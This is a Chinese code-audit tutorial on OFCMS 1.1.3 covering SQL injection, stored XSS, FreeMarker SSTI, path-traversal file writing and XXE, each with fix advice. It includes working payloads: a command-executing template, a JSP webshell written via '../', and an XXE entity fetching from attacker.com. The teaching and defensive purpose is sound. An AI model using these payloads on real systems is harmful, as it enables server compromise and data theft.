记又一次Java代码审计
字数 1660 2025-08-07 08:22:20
Java代码审计实战:OFCMS 1.1.3漏洞分析与复现
0x0 前言
本文是对OFCMS 1.1.3版本的代码审计实战记录,详细分析了该CMS系统中存在的多个安全漏洞,包括SQL注入、存储型XSS、SSTI模板注入、文件上传和XXE漏洞。通过本教程,您将学习到完整的审计流程和技巧。
0x1 环境搭建
自动安装
- 下载OFCMS 1.1.3版本源码:https://gitee.com/oufu/ofcms/tree/V1.1.3/
- 使用IDEA导入项目
- 配置Tomcat运行环境
- 启动项目后访问安装界面
- 配置数据库信息(需提前创建空数据库)
- 设置管理员账号密码(默认admin/123456)
手动部署
- 创建空ofcms数据库
- 导入SQL文件:
ofcms-V1.1.3/doc/sql/ofcms-v1.1.3.sql - 修改数据库配置文件:
ofcms-V1.1.3/ofcms-admin/src/main/resources/dev/conf/db-config.properties→ 重命名为db.properties - 修改数据库连接信息
- 启动项目后访问后台:http://localhost:8080/ofcms_admin_war/admin/index.html
0x2 漏洞分析
SQL注入漏洞
漏洞位置:管理后台 → 代码生成 → 新增功能
漏洞代码:
// com.ofsoft.cms.admin.controller.system.SystemGenerateController.create()
String sql = getPara("sql");
Db.update(sql);
漏洞原理:
- 直接使用
getPara()获取用户输入,未做任何过滤 - 使用
Db.update(sql)执行原始SQL语句,未使用预编译参数化查询
利用方式:
update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0) where link_id = 4
修复建议:
- 使用预编译语句
- 实现SQL语句白名单机制
- 对管理功能增加权限校验
存储型XSS漏洞
漏洞位置:前台新闻中心评论功能
漏洞代码:
// com.ofsoft.cms.api.v1.CommentApi.save()
Map<String, Object> params = getParamsMap();
Db.update("of_cms_comment", params);
漏洞原理:
- 直接获取用户提交的所有参数并存入数据库
- 前端展示时未做HTML实体编码
利用方式:
提交评论内容为:
<script>alert(1)</script>
修复建议:
- 对用户输入进行HTML实体编码
- 实现内容安全策略(CSP)
- 使用富文本编辑器时实现XSS过滤
SSTI模板注入
漏洞位置:管理后台 → 模板管理 → 修改模板
漏洞代码:
// com.ofsoft.cms.admin.controller.cms.TemplateController.save()
String fileContent = getRequest().getParameter("file_content");
FileUtils.writeString(file, fileContent);
漏洞原理:
- 使用Freemarker模板引擎
- 允许用户直接编辑模板文件内容
- 未对模板内容进行安全校验
利用方式:
在模板中插入:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("calc") }
修复建议:
- 升级Freemarker版本
- 禁用new操作符
- 实现模板修改权限控制
- 对模板内容进行安全校验
文件上传漏洞
漏洞位置:模板管理功能
漏洞代码:
// com.ofsoft.cms.admin.controller.cms.TemplateController.save()
String fileName = getPara("file_name");
String fileContent = getPara("file_content");
FileUtils.writeString(new File(fileName), fileContent);
漏洞原理:
- 文件名和内容完全可控
- 未过滤路径穿越符(../)
- 可直接写入任意文件
利用方式:
构造请求写入Webshell:
file_name=../../static/shell.jsp
file_content=<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
修复建议:
- 限制文件保存目录
- 过滤路径穿越符
- 校验文件类型和内容
- 实现文件上传权限控制
XXE漏洞
漏洞位置:报表导出功能
漏洞代码:
// com.ofsoft.cms.admin.controller.ReprotAction.expReport()
String j = getPara("j");
JasperCompileManager.compileReport(j);
漏洞原理:
- 使用JRXmlLoader.loadXML()解析用户可控的XML文件
- 未禁用外部实体解析
利用方式:
- 先利用文件上传漏洞写入恶意jrxml文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
%test;
]>
- 访问触发:
http://localhost:8080/ofcms_admin_war/admin/reprot/expReport.html?j=../../static/xxe.jrxml
修复建议:
- 禁用外部实体解析
- 使用安全的XML解析器
- 限制文件访问路径
0x3 总结
本次审计发现了OFCMS 1.1.3版本中的多个高危漏洞,总结如下:
- 输入验证不足:所有漏洞的根本原因都是缺乏对用户输入的严格验证
- 权限控制缺失:后台高危功能未做严格的权限校验
- 安全配置不当:XML解析、模板引擎等组件未做安全配置
审计技巧:
- 关注用户输入点:参数获取、文件上传、模板编辑等
- 跟踪数据处理流程:从输入点到最终执行
- 检查危险函数:SQL执行、文件操作、命令执行等
- 验证组件配置:XML解析器、模板引擎等
修复建议:
- 实现严格的输入验证和输出编码
- 加强权限控制和访问限制
- 更新第三方组件并正确配置安全选项
- 实施安全开发规范和安全测试流程
通过本次审计实战,可以加深对Java Web应用安全的理解,提高代码审计能力。建议定期进行类似审计练习,积累经验。